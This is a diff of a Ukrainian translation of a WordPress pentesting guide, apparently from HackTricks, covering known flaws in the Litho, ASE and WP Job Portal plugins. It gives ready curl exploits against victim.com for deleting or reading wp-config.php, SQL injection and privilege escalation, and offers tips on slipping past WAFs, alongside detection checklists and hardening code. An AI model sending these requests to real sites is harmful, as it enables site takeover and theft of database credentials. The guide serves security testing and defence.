``` -Проблеми, які виникають через цей фрагмент: +Проблеми, які викликає цей фрагмент: -* **Неавтентифікований доступ** – хук `wp_ajax_nopriv_` зареєстровано. -* **Відсутня перевірка nonce / можливостей** – будь-який відвідувач може звернутися до кінцевої точки. -* **Відсутня санітизація шляху** – рядок `fontfamily`, контрольований користувачем, конкатенується до шляху файлової системи без фільтрації, що дозволяє класичний `../../` обхід. +* **Доступ без автентифікації** – the `wp_ajax_nopriv_` hook is registered. +* **Відсутня перевірка nonce / capability** – будь-який відвідувач може звернутися до endpoint. +* **Відсутня санітизація шляху** – рядок `fontfamily`, що контролюється користувачем, конкатенується з файловим шляхом без фільтрації, що дозволяє класичний `../../` traversal. #### Експлуатація -Зловмисник може видалити будь-який файл або директорію **нижче базового каталогу завантажень** (зазвичай `/wp-content/uploads/`), надіславши один HTTP POST запит: +Нападник може видалити будь-який файл або директорію **нижче базової директорії uploads** (зазвичай `/wp-content/uploads/`) відправивши один HTTP POST-запит: ```bash curl -X POST https://victim.com/wp-admin/admin-ajax.php \ -d 'action=litho_remove_font_family_action_data' \ -d 'fontfamily=../../../../wp-config.php' ``` -Оскільки `wp-config.php` знаходиться поза *uploads*, чотири послідовності `../` достатні для стандартної установки. Видалення `wp-config.php` змушує WordPress перейти до *майстра установки* під час наступного відвідування, що дозволяє повністю захопити сайт (зловмисник просто надає нову конфігурацію БД і створює адміністратора). +Оскільки `wp-config.php` знаходиться поза директорією *uploads*, чотири послідовності `../` достатні для стандартної інсталяції. Видалення `wp-config.php` примушує WordPress при наступному відвідуванні перейти в *майстер встановлення*, що дозволяє повний site take-over (зловмисник лише надає нову DB конфігурацію та створює admin-користувача). -Інші важливі цілі включають файли плагінів/тем `.php` (для зламу плагінів безпеки) або правила `.htaccess`. +Інші впливові цілі включають plugin/theme `.php` файли (щоб зламати security plugins) або правила `.htaccess`. -#### Перелік для виявлення +#### Контрольний список виявлення -* Будь-який `add_action( 'wp_ajax_nopriv_...')` зворотний виклик, який викликає допоміжні функції файлової системи (`copy()`, `unlink()`, `$wp_filesystem->delete()`, тощо). -* Конкатенація неочищеного вводу користувача в шляхи (шукайте `$_POST`, `$_GET`, `$_REQUEST`). +* Будь-який callback `add_action( 'wp_ajax_nopriv_...')`, який викликає filesystem helpers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, тощо). +* Конкатенація несанітизованого введення користувача в шляхи (шукайте `$_POST`, `$_GET`, `$_REQUEST`). * Відсутність `check_ajax_referer()` та `current_user_can()`/`is_user_logged_in()`. -#### Посилення +#### Підсилення захисту ```php function secure_remove_font_family() { if ( ! is_user_logged_in() ) { @@ -440,16 +487,16 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_ // 🔒 NO wp_ajax_nopriv_ registration ``` > [!TIP] -> **Завжди** розглядайте будь-яку операцію запису/видалення на диску як привілейовану та двічі перевіряйте: -> • Аутентифікація • Авторизація • Нонсе • Санітизація введення • Обмеження шляху (наприклад, через `realpath()` плюс `str_starts_with()`). +> **Завжди** вважайте будь-яку операцію запису/видалення на диску привілейованою і перевіряйте: +> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`). --- -### Підвищення привілеїв через відновлення застарілої ролі та відсутню авторизацію (ASE "Перегляд адміністратора як ролі") +### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role") -Багато плагінів реалізують функцію "перегляд як роль" або тимчасового перемикання ролей, зберігаючи оригінальну роль(і) в метаданих користувача, щоб їх можна було відновити пізніше. Якщо шлях відновлення покладається лише на параметри запиту (наприклад, `$_REQUEST['reset-for']`) та список, що підтримується плагіном, без перевірки можливостей та дійсного нонсу, це призводить до вертикального підвищення привілеїв. +Багато плагінів реалізують "view as role" або тимчасову зміну ролі, зберігаючи оригінальні ролі в user meta, щоб пізніше їх відновити. Якщо шлях відновлення покладається тільки на параметри запиту (наприклад, `$_REQUEST['reset-for']`) і список, що підтримується плагіном, без перевірки capabilities і дійсного nonce, це перетворюється на vertical privilege escalation. -Приклад з реального світу був знайдений у плагіні Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Гілка скидання відновлювала ролі на основі `reset-for=`, якщо ім'я користувача з'являлося в внутрішньому масиві `$options['viewing_admin_as_role_are']`, але не виконувала перевірку `current_user_can()` або перевірку нонсу перед видаленням поточних ролей і повторним додаванням збережених ролей з метаданих користувача `_asenha_view_admin_as_original_roles`: +Реальний приклад було виявлено в Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). Гілка reset відновлювала ролі на основі `reset-for=`, якщо ім'я користувача з'являлося у внутрішньому масиві `$options['viewing_admin_as_role_are']`, але не виконувала ні перевірки `current_user_can()`, ні перевірки nonce перед видаленням поточних ролей та повторним додаванням збережених ролей з user meta `_asenha_view_admin_as_original_roles`: ```php // Simplified vulnerable pattern if ( isset( $_REQUEST['reset-for'] ) ) { @@ -464,19 +511,19 @@ foreach ( $orig as $r ) { $u->add_role( $r ); } } } ``` -Чому це вразливо +Why it's exploitable -- Довіряє `$_REQUEST['reset-for']` та опції плагіна без авторизації на стороні сервера. -- Якщо користувач раніше мав вищі привілеї, збережені в `_asenha_view_admin_as_original_roles`, і був понижений, він може відновити їх, натиснувши на шлях скидання. -- У деяких розгортаннях будь-який автентифікований користувач міг би ініціювати скидання для іншого імені користувача, яке все ще присутнє в `viewing_admin_as_role_are` (порушена авторизація). +- Довіряє `$_REQUEST['reset-for']` та опції плагіна без серверної авторизації. +- Якщо користувач раніше мав вищі привілеї, збережені в `_asenha_view_admin_as_original_roles`, і їх понизили, він може відновити їх, звернувшись до шляху скидання. +- У деяких розгортаннях будь-який authenticated user міг ініціювати скидання для іншого імені користувача, що все ще присутнє в `viewing_admin_as_role_are` (помилка авторизації). -Передумови атаки +Attack prerequisites -- Вразлива версія плагіна з увімкненою функцією. -- Цільовий обліковий запис має застарілу роль з високими привілеями, збережену в метаданих користувача з попереднього використання. -- Будь-яка автентифікована сесія; відсутній nonce/можливість у процесі скидання. +- Уразлива версія плагіна з увімкненою функцією. +- Цільовий обліковий запис має застарілу роль з високими привілеями, збережену в user meta від попереднього використання. +- Будь-яка authenticated session; відсутній nonce/capability у процесі скидання. -Експлуатація (приклад) +Exploitation (example) ```bash # While logged in as the downgraded user (or any auth user able to trigger the code path), # hit any route that executes the role-switcher logic and include the reset parameter. @@ -484,36 +531,51 @@ foreach ( $orig as $r ) { $u->add_role( $r ); } curl -s -k -b 'wordpress_logged_in=...' \ 'https://victim.example/wp-admin/?reset-for=' ``` -На вразливих збірках це видаляє поточні ролі та повторно додає збережені оригінальні ролі (наприклад, `administrator`), ефективно підвищуючи привілеї. +На вразливих збірках це видаляє поточні ролі й заново додає збережені оригінальні ролі (наприклад, `administrator`), фактично підвищуючи привілеї. -Список перевірки виявлення +Detection checklist -- Шукайте функції перемикання ролей, які зберігають “оригінальні ролі” в метаданих користувача (наприклад, `_asenha_view_admin_as_original_roles`). +- Шукайте функції перемикання ролей, які зберігають “оригінальні ролі” у user meta (наприклад, `_asenha_view_admin_as_original_roles`). - Визначте шляхи скидання/відновлення, які: - - Читають імена користувачів з `$_REQUEST` / `$_GET` / `$_POST`. - - Модифікують ролі через `add_role()` / `remove_role()` без `current_user_can()` та `wp_verify_nonce()` / `check_admin_referer()`. - - Авторизують на основі масиву параметрів плагіна (наприклад, `viewing_admin_as_role_are`) замість можливостей актора. +- Читають імена користувачів із `$_REQUEST` / `$_GET` / `$_POST`. +- Модифікують ролі через `add_role()` / `remove_role()` без `current_user_can()` і `wp_verify_nonce()` / `check_admin_referer()`. +- Авторизують на основі масиву опцій плагіна (наприклад, `viewing_admin_as_role_are`) замість повноважень актора. -Ускладнення +Hardening -- Застосовуйте перевірки можливостей на кожному гілці, що змінює стан (наприклад, `current_user_can('manage_options')` або більш суворо). -- Вимагайте нонси для всіх мутацій ролей/дозволів та перевіряйте їх: `check_admin_referer()` / `wp_verify_nonce()`. -- Ніколи не довіряйте іменам користувачів, наданим запитом; визначайте цільового користувача на стороні сервера на основі автентифікованого актора та явної політики. -- Скасовуйте стан “оригінальних ролей” при оновленнях профілю/ролі, щоб уникнути застарілого відновлення високих привілеїв: +- Забезпечте перевірку повноважень на кожній гілці, що змінює стан (наприклад, `current_user_can('manage_options')` або суворіше). +- Вимагайте nonces для всіх змін ролей/дозволів і перевіряйте їх: `check_admin_referer()` / `wp_verify_nonce()`. +- Ніколи не довіряйте іменам користувачів, наданим у запиті; визначайте цільового користувача на сервері на основі автентифікованого актора та явної політики. +- Інвалідуйте “оригінальні ролі” при оновленнях профілю/ролей, щоб уникнути відновлення застарілих високих привілеїв: ```php add_action( 'profile_update', function( $user_id ) { delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' ); }, 10, 1 ); ``` -- Розгляньте можливість зберігання мінімального стану та використання токенів з обмеженим часом дії та захистом можливостей для тимчасових перемикань ролей. +- Розгляньте зберігання мінімального стану та використання тимчасових токенів з обмеженим часом дії і capability-guarded tokens для тимчасових переключень ролей. --- -## Захист WordPress +### WAF considerations for WordPress/plugin CVEs -### Регулярні оновлення +Generic edge/server WAFs are tuned for broad patterns (SQLi, XSS, LFI). Many high‑impact WordPress/plugin flaws are application-specific logic/auth bugs that look like benign traffic unless the engine understands WordPress routes and plugin semantics. -Переконайтеся, що WordPress, плагіни та теми оновлені. Також підтверджуйте, що автоматичне оновлення увімкнене у wp-config.php: +Offensive notes + +- Target plugin-specific endpoints with clean payloads: `admin-ajax.php?action=...`, `wp-json//`, custom file handlers, shortcodes. +- Exercise unauth paths first (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads often succeed without obfuscation. +- Typical high-impact cases: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect. + +Defensive notes + +- Don’t rely on generic WAF signatures to protect plugin CVEs. Implement application-layer, vulnerability-specific virtual patches or update quickly. +- Prefer positive-security checks in code (capabilities, nonces, strict input validation) over negative regex filters. + +## WordPress Protection + +### Regular Updates + +Make sure WordPress, plugins, and themes are up to date. Also confirm that automated updating is enabled in wp-config.php: ```bash define( 'WP_AUTO_UPDATE_CORE', true ); add_filter( 'auto_update_plugin', '__return_true' ); @@ -529,15 +591,16 @@ add_filter( 'auto_update_theme', '__return_true' ); ### **Інші рекомендації** -- Видаліть стандартного **admin** користувача -- Використовуйте **сильні паролі** та **2FA** -- Періодично **переглядайте** права **доступу** користувачів -- **Обмежте спроби входу** для запобігання атакам Brute Force -- Перейменуйте файл **`wp-admin.php`** і дозволяйте доступ лише внутрішньо або з певних IP-адрес. +- Видаліть стандартного користувача **admin** +- Використовуйте **надійні паролі** та **2FA** +- Періодично **переглядайте** **права** користувачів +- **Обмежте кількість спроб входу**, щоб запобігти атакам Brute Force +- Перейменуйте файл **`wp-admin.php`** і дозволяйте доступ лише локально або з певних IP-адрес. -### Неавтентифікований SQL-ін'єкція через недостатню валідацію (WP Job Portal <= 2.3.2) -Плагін рекрутингу WP Job Portal відкрив задачу **savecategory**, яка в кінцевому підсумку виконує наступний вразливий код всередині `modules/category/model.php::validateFormData()`: +### Неавторизований SQL Injection через недостатню валідацію (WP Job Portal <= 2.3.2) + +Плагін рекрутингу WP Job Portal відкрив завдання **savecategory**, яке врешті-решт виконує наступний вразливий код у `modules/category/model.php::validateFormData()`: ```php $category = WPJOBPORTALrequest::getVar('parentid'); $inquery = ' '; @@ -547,19 +610,19 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗ $query = "SELECT max(ordering)+1 AS maxordering FROM " . wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later ``` -Проблеми, які виникають через цей фрагмент: +Проблеми, викликані цим фрагментом: -1. **Несанітизований ввід користувача** – `parentid` надходить безпосередньо з HTTP-запиту. -2. **Конкатенація рядків у WHERE-клаузі** – немає `is_numeric()` / `esc_sql()` / підготовленого запиту. -3. **Несанкціонована досяжність** – хоча дія виконується через `admin-post.php`, єдиною перевіркою є **CSRF nonce** (`wp_verify_nonce()`), який будь-який відвідувач може отримати з публічної сторінки, що вбудовує шорткод `[wpjobportal_my_resumes]`. +1. **Ввід користувача без санітизації** – `parentid` надходить безпосередньо з HTTP-запиту. +2. **Конкатенація рядків у WHERE-клаузі** – відсутні `is_numeric()` / `esc_sql()` / prepared statement. +3. **Доступ без автентифікації** – хоча дія виконується через `admin-post.php`, єдина перевірка — **CSRF nonce** (`wp_verify_nonce()`), який будь-який відвідувач може отримати зі сторінки, що вбудовує шорткод `[wpjobportal_my_resumes]`. #### Експлуатація -1. Отримайте новий nonce: +1. Отримайте свіжий nonce: ```bash curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4 ``` -2. Впровадьте довільний SQL, зловживаючи `parentid`: +2. Ін'єкція довільного SQL, зловживаючи `parentid`: ```bash curl -X POST https://victim.com/wp-admin/admin-post.php \ -d 'task=savecategory' \ @@ -567,20 +630,20 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \ -d 'parentid=0 OR 1=1-- -' \ -d 'cat_title=pwn' -d 'id=' ``` -Відповідь розкриває результат впровадженого запиту або змінює базу даних, що підтверджує SQLi. +Відповідь розкриває результат ін'єкції або змінює базу даних, що підтверджує SQLi. -### Несанкціоноване завантаження довільних файлів / Перехід по шляху (WP Job Portal <= 2.3.2) +### Неавтентифікований Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2) -Інше завдання, **downloadcustomfile**, дозволяло відвідувачам завантажувати **будь-який файл на диску** через перехід по шляху. Вразливий приймач розташований у `modules/customfield/model.php::downloadCustomUploadedFile()`: +Ще одне завдання, **downloadcustomfile**, дозволяло відвідувачам завантажувати **будь-який файл на диску** через path traversal. Вразливий sink знаходиться в `modules/customfield/model.php::downloadCustomUploadedFile()`: ```php $file = $path . '/' . $file_name; ... echo $wp_filesystem->get_contents($file); // raw file output ``` -`$file_name` контролюється атакуючим і конкатенується **без санітизації**. Знову ж таки, єдиним бар'єром є **CSRF nonce**, який можна отримати зі сторінки резюме. +`$file_name` контролюється атакуючим і конкатенується **без санітизації**. Знову ж, єдина перешкода — **CSRF nonce**, який можна отримати зі сторінки резюме. -#### Використання +#### Експлуатація ```bash curl -G https://victim.com/wp-admin/admin-post.php \ --data-urlencode 'task=downloadcustomfile' \ @@ -589,7 +652,7 @@ curl -G https://victim.com/wp-admin/admin-post.php \ --data-urlencode 'entity_id=1' \ --data-urlencode 'file_name=../../../wp-config.php' ``` -Сервер відповідає вмістом `wp-config.php`, витікаючи облікові дані БД та ключі автентифікації. +Сервер повертає вміст файлу `wp-config.php`, leaking DB credentials and auth keys. ## Посилання @@ -597,5 +660,8 @@ curl -G https://victim.com/wp-admin/admin-post.php \ - [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/) - [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/) - [ASE 7.6.3 changeset – delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php) +- [Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/) +- [WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privilege-escalation-vulnerability) +- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/) {{#include ../../banners/hacktricks-training.md}}